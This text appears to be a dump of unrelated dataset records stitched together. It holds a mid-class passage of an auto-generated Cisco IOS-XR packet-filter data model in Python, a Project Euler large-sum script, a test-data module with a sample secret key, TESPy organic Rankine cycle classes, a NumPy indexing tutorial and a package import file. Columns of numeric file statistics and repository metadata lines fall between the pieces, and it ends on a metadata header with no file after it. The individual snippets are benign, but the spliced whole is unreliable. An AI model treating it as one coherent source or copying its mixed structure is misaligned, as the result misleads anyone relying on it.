""" Operational data for pfilter .. attribute:: ipv4 Operational data for pfilter **type**\: :py:class:`Ipv4 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4>` .. attribute:: ipv6 Operational data for pfilter **type**\: :py:class:`Ipv6 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.ipv4 = PfilterMa.Nodes.Node.Process.Ipv4() self.ipv4.parent = self self.ipv6 = PfilterMa.Nodes.Node.Process.Ipv6() self.ipv6.parent = self class Ipv6(object): """ Operational data for pfilter .. attribute:: acl_info_table Operational data for pfilter **type**\: :py:class:`AclInfoTable <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.acl_info_table = PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable() self.acl_info_table.parent = self class AclInfoTable(object): """ Operational data for pfilter .. attribute:: interface_infos Operational data for pfilter **type**\: :py:class:`InterfaceInfos <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_infos = PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos() self.interface_infos.parent = self class InterfaceInfos(object): """ Operational data for pfilter .. attribute:: interface_info Operational data for pfilter in bag **type**\: list of :py:class:`InterfaceInfo <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos.InterfaceInfo>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_info = YList() self.interface_info.parent = self self.interface_info.name = 'interface_info' class InterfaceInfo(object): """ Operational data for pfilter in bag .. attribute:: interface_name <key> Name of the interface **type**\: str **pattern:** (([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+\\.\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]\*\\d+))\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]+))\|([a\-zA\-Z0\-9\_\-]\*\\d+)\|([a\-zA\-Z0\-9\_\-]\*\\d+\\.\\d+)\|(mpls)\|(dwdm) .. attribute:: acl_info acl information **type**\: str """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_name = None self.acl_info = None @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') if self.interface_name is None: raise YPYModelError('Key property interface_name is None') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-info[Cisco-IOS-XR-ip-pfilter-oper:interface-name = ' + str(self.interface_name) + ']' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_name is not None: return True if self.acl_info is not None: return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos.InterfaceInfo']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-infos' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_info is not None: for child_ref in self.interface_info: if child_ref._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:acl-info-table' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_infos is not None and self.interface_infos._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:ipv6' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.acl_info_table is not None and self.acl_info_table._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6']['meta_info'] class Ipv4(object): """ Operational data for pfilter .. attribute:: acl_info_table Operational data for pfilter **type**\: :py:class:`AclInfoTable <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.acl_info_table = PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable() self.acl_info_table.parent = self class AclInfoTable(object): """ Operational data for pfilter .. attribute:: interface_infos Operational data for pfilter **type**\: :py:class:`InterfaceInfos <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_infos = PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos() self.interface_infos.parent = self class InterfaceInfos(object): """ Operational data for pfilter .. attribute:: interface_info Operational data for pfilter in bag **type**\: list of :py:class:`InterfaceInfo <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos.InterfaceInfo>` """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_info = YList() self.interface_info.parent = self self.interface_info.name = 'interface_info' class InterfaceInfo(object): """ Operational data for pfilter in bag .. attribute:: interface_name <key> Name of the interface **type**\: str **pattern:** (([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+\\.\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]\*\\d+))\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]+))\|([a\-zA\-Z0\-9\_\-]\*\\d+)\|([a\-zA\-Z0\-9\_\-]\*\\d+\\.\\d+)\|(mpls)\|(dwdm) .. attribute:: acl_info acl information **type**\: str """ _prefix = 'ip-pfilter-oper' _revision = '2015-11-09' def __init__(self): self.parent = None self.interface_name = None self.acl_info = None @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') if self.interface_name is None: raise YPYModelError('Key property interface_name is None') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-info[Cisco-IOS-XR-ip-pfilter-oper:interface-name = ' + str(self.interface_name) + ']' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_name is not None: return True if self.acl_info is not None: return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos.InterfaceInfo']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-infos' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_info is not None: for child_ref in self.interface_info: if child_ref._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:acl-info-table' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.interface_infos is not None and self.interface_infos._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:ipv4' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.acl_info_table is not None and self.acl_info_table._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4']['meta_info'] @property def _common_path(self): if self.parent is None: raise YPYModelError('parent is not set . Cannot derive path.') return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:process' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.ipv4 is not None and self.ipv4._has_data(): return True if self.ipv6 is not None and self.ipv6._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node.Process']['meta_info'] @property def _common_path(self): if self.node_name is None: raise YPYModelError('Key property node_name is None') return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma/Cisco-IOS-XR-ip-pfilter-oper:nodes/Cisco-IOS-XR-ip-pfilter-oper:node[Cisco-IOS-XR-ip-pfilter-oper:node-name = ' + str(self.node_name) + ']' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.node_name is not None: return True if self.process is not None and self.process._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes.Node']['meta_info'] @property def _common_path(self): return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma/Cisco-IOS-XR-ip-pfilter-oper:nodes' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.node is not None: for child_ref in self.node: if child_ref._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa.Nodes']['meta_info'] @property def _common_path(self): return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma' def is_config(self): ''' Returns True if this instance represents config data else returns False ''' return False def _has_data(self): if not self.is_config(): return False if self.nodes is not None and self.nodes._has_data(): return True return False @staticmethod def _meta_info(): from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta return meta._meta_table['PfilterMa']['meta_info']
41.301587
313
0.441045
2,352
26,020
4.655612
0.053571
0.048219
0.060274
0.047123
0.916347
0.901553
0.889589
0.8621
0.85516
0.851598
0
0.0143
0.478632
26,020
629
314
41.36725
0.792865
0.190046
0
0.826923
0
0.012821
0.117042
0.064931
0
0
0
0
0
1
0.192308
false
0
0.054487
0.00641
0.535256
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
921223c8a5bd9c0de56f1c6678abcdba366dc933
5,240
py
Python
naloga13.py
BarbaraPal/Project-Euler
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
[ "MIT" ]
null
null
null
naloga13.py
BarbaraPal/Project-Euler
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
[ "MIT" ]
null
null
null
naloga13.py
BarbaraPal/Project-Euler
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
[ "MIT" ]
null
null
null
# Large sum x = 37107287533902102798797998220837590246510135740250463769376774900097126481248969700780504170182605387432498619952474105947423330951305812372661730962991942213363574161572522430563301811072406154908250230675882075393461711719803104210475137780632466768926167069662363382013637841838368417873436172675728112879812849979408065481931592621691275889832738442742289174325203219235894228767964876702721893184745144573600130643909116721685684458871160315327670386486105843025439939619828917593665686757934951621764571418565606295021572231965867550793241933316490635246274190492910143244581382266334794475817892575867718337217661963751590579239728245598838407582035653253593990084026335689488301894586282278288018119938482628201427819413994056758715117009439035398664372827112653829987240784473053190104293586865155060062958648615320752733719591914205172558297169388870771546649911559348760353292171497005693854370070576826684624621495650076471787294438377604532826541087568284431911906346940378552177792951453612327252500029607107508256381565671088525835072145876576172410976447339110607218265236877223636045174237069058518606604482076212098132878607339694128114266041808683061932846081119106155694051268969251934325451728388641918047049293215058642563049483624672216484350762017279180399446930047329563406911573244438690812579451408905770622942919710792820955037687525678773091862540744969844508330393682126183363848253301546861961243487676812975343759465158038628759287849020152168555482871720121925776695478182833757993103614740356856449095527097864797581167263201004368978425535399209318374414978068609844840309812907779179908821879532736447567559084803087086987551392711854517078544161852424320693150332599594068957565367821070749269665376763262354472106979395067965269474259770973916669376304263398708541052684708299085211399427365734116182760315001271653786073615010808570091499395125570281987460043753582903531743471732693212357815498262974255273730794953759765105305946966067683156574377167401875275889028025717332296191766687138199318110487701902712526768027607800301367868099252546340106163286652636270218540497705585629946580636237993140746255962240744869082311749777923654662572469233228109171419143028819710328859780666976089293863828502533340334413065578016127815921815005561868836468420090470230530811728164304876237919698424872550366387845831148769693215490281042402013833512446218144177347063783299490636259666498587618221225225512486764533677201869716985443124195724099139590089523100588229554825530026352078153229679624948164195386821877476085327132285723110424803456124867697064507995236377742425354112916842768655389262050249103265729672370191327572567528565324825826546309220705859652229798860272258331913126375147341994889534765745501184957014548792889848568277260777137214037988797153829820378303147352772158034814451349137322665138134829543829199918180278916522431027392251122869539409579530664052326325380441000596549391598795936352974615218550237130764225512118369380358038858490341698116222072977186158236678424689157993532961922624679571944012690438771072750481023908955235974572318970677254791506150550495392297953090112996751986188088225875314529584099251203829009407770775672113067397083047244838165338735023408456470580773088295917476714036319800818712901187549131054712658197623331044818386269515456334926366572897563400500428462801835170705278318394258821455212272512503275512160354698120058176216521282765275169129689778932238195734329339946437501907836945765883352399886755061649651847751807381688378610915273579297013376217784275219262340194239963916804498399317331273132924185707147349566916674687634660915035914677504995186714302352196288948901024233251169136196266227326746080059154747183079839286853520694694454072476841822524674417161514036427982273348055556214818971426179103425986472045168939894221798260880768528778364618279934631376775430780936333301898264209010848802521674670883215120185883543223812876952786713296124747824645386369930090493103636197638780396218407357239979422340623539380833965132740801111666627891981488087797941876876144230030984490851411606618262936828367647447792391803351109890697907148578694408955299065364044742557608365997664579509666024396409905389607120198219976047599490197230297649139826800329731560371200413779037855660850892521673093931987275027546890690370753941304265231501194809377245048795150954100921645863754710598436791786391670211874924319957006419179697775990283006991536871371193661495281130587638027841075444973307840789923115535562561142322423255033685442488917353448899115014406480203690680639606723221932041495354150312888033953605329934036800697771065056663195481234880673210146739058568557934581403627822703280826165707739483275922328459417065250945123252306082291880205877731971983945018088807242966198081119777158542502016545090413245809786882778948721859617721078384350691861554356628840622574736922845095162084960398013400172393067166682355524525280460972253503534226472524250874054075591789781264330331690 def vsota_stevil(n): vsota = 0 sez = [] n = str(n) for i in range(0, len(n), 50): sez.append(n[i:i+50]) for j in sez: vsota += int(j) return vsota print(str(vsota_stevil(x))[0:10])
349.333333
5,004
0.977863
44
5,240
116.409091
0.522727
0.004295
0
0
0
0
0
0
0
0
0
0.969985
0.014504
5,240
15
5,005
349.333333
0.021882
0.001718
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0.090909
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
7
921af7fa2f2cf265271a4413ba1f0d086d17e33b
934
py
Python
tests/test_data.py
ONSdigital/sdx-receipt-rrm
b281cca78b56632765b1f4ec8bd9db54134f948e
[ "MIT" ]
null
null
null
tests/test_data.py
ONSdigital/sdx-receipt-rrm
b281cca78b56632765b1f4ec8bd9db54134f948e
[ "MIT" ]
69
2016-12-22T15:16:20.000Z
2021-03-19T23:58:24.000Z
tests/test_data.py
ONSdigital/sdx-receipt-rrm
b281cca78b56632765b1f4ec8bd9db54134f948e
[ "MIT" ]
1
2021-04-11T07:51:27.000Z
2021-04-11T07:51:27.000Z
test_secret = "seB388LNHgxcuvAcg1pOV20_VR7uJWNGAznE0fOqKxg=".encode('ascii') test_data = { 'valid': '{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb", "case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":' '{"exercise_sid":"hfjdskf"},"metadata":{"user_id":"789473423","ru_ref":"12345678901A"}}', 'invalid': '{"cats":"are nice"}', 'missing_metadata': '{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":' '{"exercise_sid":"hfjdskf"}}', 'missing_tx_id': '{"case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":''{"exercise_sid":"hfjdskf"},"metadata":' '{"user_id":"789473423","ru_ref":"12345678901A"}}', 'missing_case_id': '{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":' '{"exercise_sid":"hfjdskf"},"metadata":{"user_id":"789473423","ru_ref":"12345678901A"}}', }
58.375
126
0.654176
100
934
5.87
0.31
0.102215
0.143101
0.183986
0.773424
0.773424
0.773424
0.770017
0.770017
0.770017
0
0.212304
0.11242
934
15
127
62.266667
0.495778
0
0
0.285714
0
0.142857
0.807281
0.720557
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
a6197ccdd79e53c7abb6df016114a37b8d84888b
5,487
py
Python
orc.py
NicholasFry/chp_orc
c41a026b819db91ae8cab47620795840e3113778
[ "MIT" ]
null
null
null
orc.py
NicholasFry/chp_orc
c41a026b819db91ae8cab47620795840e3113778
[ "MIT" ]
null
null
null
orc.py
NicholasFry/chp_orc
c41a026b819db91ae8cab47620795840e3113778
[ "MIT" ]
null
null
null
from tespy.connections import Connection from tespy.components import ( HeatExchanger, Pump, Turbine, Source, Sink, CycleCloser, Condenser, Drum ) from tespy.components.subsystem import Subsystem class ORC_without_ihe(Subsystem): def create_comps(self): """Create the subsystem's components.""" # main cycle self.comps['condenser'] = Condenser('condenser') self.comps['feed pump'] = Pump('feed pump') self.comps['preheater'] = HeatExchanger('preheater') self.comps['evaporator'] = HeatExchanger('evaporator') self.comps['drum'] = Drum('drum') self.comps['turbine'] = Turbine('turbine') self.comps['orc cycle closer'] = CycleCloser('orc cycle closer') # cooling water system self.comps['lw source'] = Source('lw source') self.comps['lw sink'] = Sink('lw sink') self.comps['lw pump'] = Pump('lw pump') def create_conns(self): """Define the subsystem's connections.""" # main cycle self.conns['0'] = Connection( self.comps['condenser'], 'out1', self.comps['orc cycle closer'], 'in1', label='0' ) self.conns['1'] = Connection( self.comps['orc cycle closer'], 'out1', self.comps['feed pump'], 'in1', label='1' ) self.conns['2'] = Connection( self.comps['feed pump'], 'out1', self.comps['preheater'], 'in2', label='2' ) self.conns['3'] = Connection( self.comps['preheater'], 'out2', self.comps['drum'], 'in1', label='3' ) self.conns['4'] = Connection( self.comps['drum'], 'out1', self.comps['evaporator'], 'in2', label='4' ) self.conns['5'] = Connection( self.comps['evaporator'], 'out2', self.comps['drum'], 'in2', label='5' ) self.conns['6'] = Connection( self.comps['drum'], 'out2', self.comps['turbine'], 'in1', label='6' ) self.conns['7'] = Connection( self.comps['turbine'], 'out1', self.comps['condenser'], 'in1', label='7' ) # cooling water system self.conns['11'] = Connection( self.comps['lw source'], 'out1', self.comps['lw pump'], 'in1', label='11' ) self.conns['12'] = Connection( self.comps['lw pump'], 'out1', self.comps['condenser'], 'in2', label='12' ) self.conns['13'] = Connection( self.comps['condenser'], 'out2', self.comps['lw sink'], 'in1', label='13' ) class ORC_with_ihe(Subsystem): def create_comps(self): """Create the subsystem's components.""" # main cycle self.comps['condenser'] = Condenser('condenser') self.comps['feed pump'] = Pump('feed pump') self.comps['preheater'] = HeatExchanger('preheater') self.comps['evaporator'] = HeatExchanger('evaporator') self.comps['drum'] = Drum('drum') self.comps['turbine'] = Turbine('turbine') self.comps['orc cycle closer'] = CycleCloser('orc cycle closer') # internal heat exchanger self.comps['ihe'] = HeatExchanger('ihe') # cooling water system self.comps['lw source'] = Source('lw source') self.comps['lw sink'] = Sink('lw sink') self.comps['lw pump'] = Pump('lw pump') def create_conns(self): """Define the subsystem's connections.""" # main cycle self.conns['0'] = Connection( self.comps['condenser'], 'out1', self.comps['orc cycle closer'], 'in1', label='0' ) self.conns['1'] = Connection( self.comps['orc cycle closer'], 'out1', self.comps['feed pump'], 'in1', label='1' ) self.conns['2_1'] = Connection( self.comps['feed pump'], 'out1', self.comps['ihe'], 'in2', label='2_1' ) self.conns['2_2'] = Connection( self.comps['ihe'], 'out1', self.comps['preheater'], 'in2', label='2_2' ) self.conns['3'] = Connection( self.comps['preheater'], 'out2', self.comps['drum'], 'in1', label='3' ) self.conns['4'] = Connection( self.comps['drum'], 'out1', self.comps['evaporator'], 'in2', label='4' ) self.conns['5'] = Connection( self.comps['evaporator'], 'out2', self.comps['drum'], 'in2', label='5' ) self.conns['6'] = Connection( self.comps['drum'], 'out2', self.comps['turbine'], 'in1', label='6' ) self.conns['7_1'] = Connection( self.comps['turbine'], 'out1', self.comps['ihe'], 'in1', label='7_1' ) self.conns['7_2'] = Connection( self.comps['ihe'], 'out1', self.comps['condenser'], 'in1', label='7_2' ) # cooling water system self.conns['11'] = Connection( self.comps['lw source'], 'out1', self.comps['lw pump'], 'in1', label='11' ) self.conns['12'] = Connection( self.comps['lw pump'], 'out1', self.comps['condenser'], 'in2', label='12' ) self.conns['13'] = Connection( self.comps['condenser'], 'out2', self.comps['lw sink'], 'in1', label='13' )
34.727848
72
0.516494
585
5,487
4.817094
0.097436
0.220369
0.161817
0.036196
0.898155
0.898155
0.898155
0.84528
0.791341
0.791341
0
0.03043
0.305267
5,487
157
73
34.949045
0.708814
0.053581
0
0.651163
0
0
0.189388
0
0
0
0
0
0
1
0.031008
false
0
0.023256
0
0.069767
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a66e6afd4ce7ee8489002ea44cf38e7ad4654dce
2,812
py
Python
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
import numpy as np arr = np.arange(0, 11) print(arr) # [ 0 1 2 3 4 5 6 7 8 9 10] print(arr[8]) # 8 print(arr[1:5]) # [1 2 3 4] # change elements arr[0:5] = 100 print(arr) # [100 100 100 100 100 5 6 7 8 9 10] # reset original array arr = np.arange(0, 11) # slicing slice1 = arr[0:6] print(slice1) # [0 1 2 3 4 5] # change all elements slice1[:] = 99 print(slice1) # [99 99 99 99 99 99] # changes occured in the original array print(arr) # [99 99 99 99 99 99 6 7 8 9 10] # to prevent this use .copy() function arr_copy = arr.copy() arr_copy[:3] = 11 print(arr) # [99 99 99 99 99 99 6 7 8 9 10] print(arr_copy) # [11 11 11 99 99 99 6 7 8 9 10] # indexing 2d array arr_2d = np.array(([5,10,15],[20,25,30], [35,40,45])) print(arr_2d) ''' [[ 5 10 15] [20 25 30] [35 40 45]] ''' print(arr_2d[1]) # [20 25 30] print(arr_2d[1][0]) # 20 print(arr_2d[1,0]) # 20 # 2d array slicing print(arr_2d[:2,1:]) ''' [[10 15] [25 30]] ''' new_arr = np.zeros((10,10)) print(new_arr) ''' [[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]] ''' new_arr_len = new_arr.shape[0] print(new_arr_len) # 10 for i in range(new_arr_len): new_arr[i] = 1 print(new_arr) ''' [[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]] ''' for i in range(new_arr_len): new_arr[i] = i print(new_arr) ''' [[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 2. 2. 2. 2. 2. 2. 2. 2. 2. 2.] [ 3. 3. 3. 3. 3. 3. 3. 3. 3. 3.] [ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.] [ 5. 5. 5. 5. 5. 5. 5. 5. 5. 5.] [ 6. 6. 6. 6. 6. 6. 6. 6. 6. 6.] [ 7. 7. 7. 7. 7. 7. 7. 7. 7. 7.] [ 8. 8. 8. 8. 8. 8. 8. 8. 8. 8.] [ 9. 9. 9. 9. 9. 9. 9. 9. 9. 9.]] ''' # fancy indexing print(new_arr[[2,5]]) ''' [[ 2. 2. 2. 2. 2. 2. 2. 2. 2. 2.] [ 5. 5. 5. 5. 5. 5. 5. 5. 5. 5.]] ''' print(new_arr[[8,1,4]]) ''' [[ 8. 8. 8. 8. 8. 8. 8. 8. 8. 8.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.] [ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.]] '''
20.985075
53
0.396515
618
2,812
1.762136
0.090615
0.214876
0.31405
0.407714
0.613407
0.573921
0.519743
0.499541
0.488522
0.451791
0
0.316732
0.364509
2,812
133
54
21.142857
0.292669
0.156828
0
0.371429
0
0
0
0
0
0
0
0
0
1
0
false
0
0.028571
0
0.028571
0.571429
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
a6cb4c87e3f50e3c1f785147bd640649a391f768
111
py
Python
addons14/github_connector/wizards/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
1
2021-06-10T14:59:13.000Z
2021-06-10T14:59:13.000Z
addons14/github_connector/wizards/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
null
null
null
addons14/github_connector/wizards/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
1
2021-04-09T09:44:44.000Z
2021-04-09T09:44:44.000Z
from . import wizard_create_team from . import wizard_create_repository from . import wizard_load_github_model
27.75
38
0.864865
16
111
5.5625
0.5625
0.337079
0.539326
0.494382
0
0
0
0
0
0
0
0
0.108108
111
3
39
37
0.89899
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
a6ce347e176a15aec5c8a1eb37b29510d17cc478
34,387
py
Python
dmClusteringEval.py
daishuanglu/dmClustering
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
[ "MIT" ]
null
null
null
dmClusteringEval.py
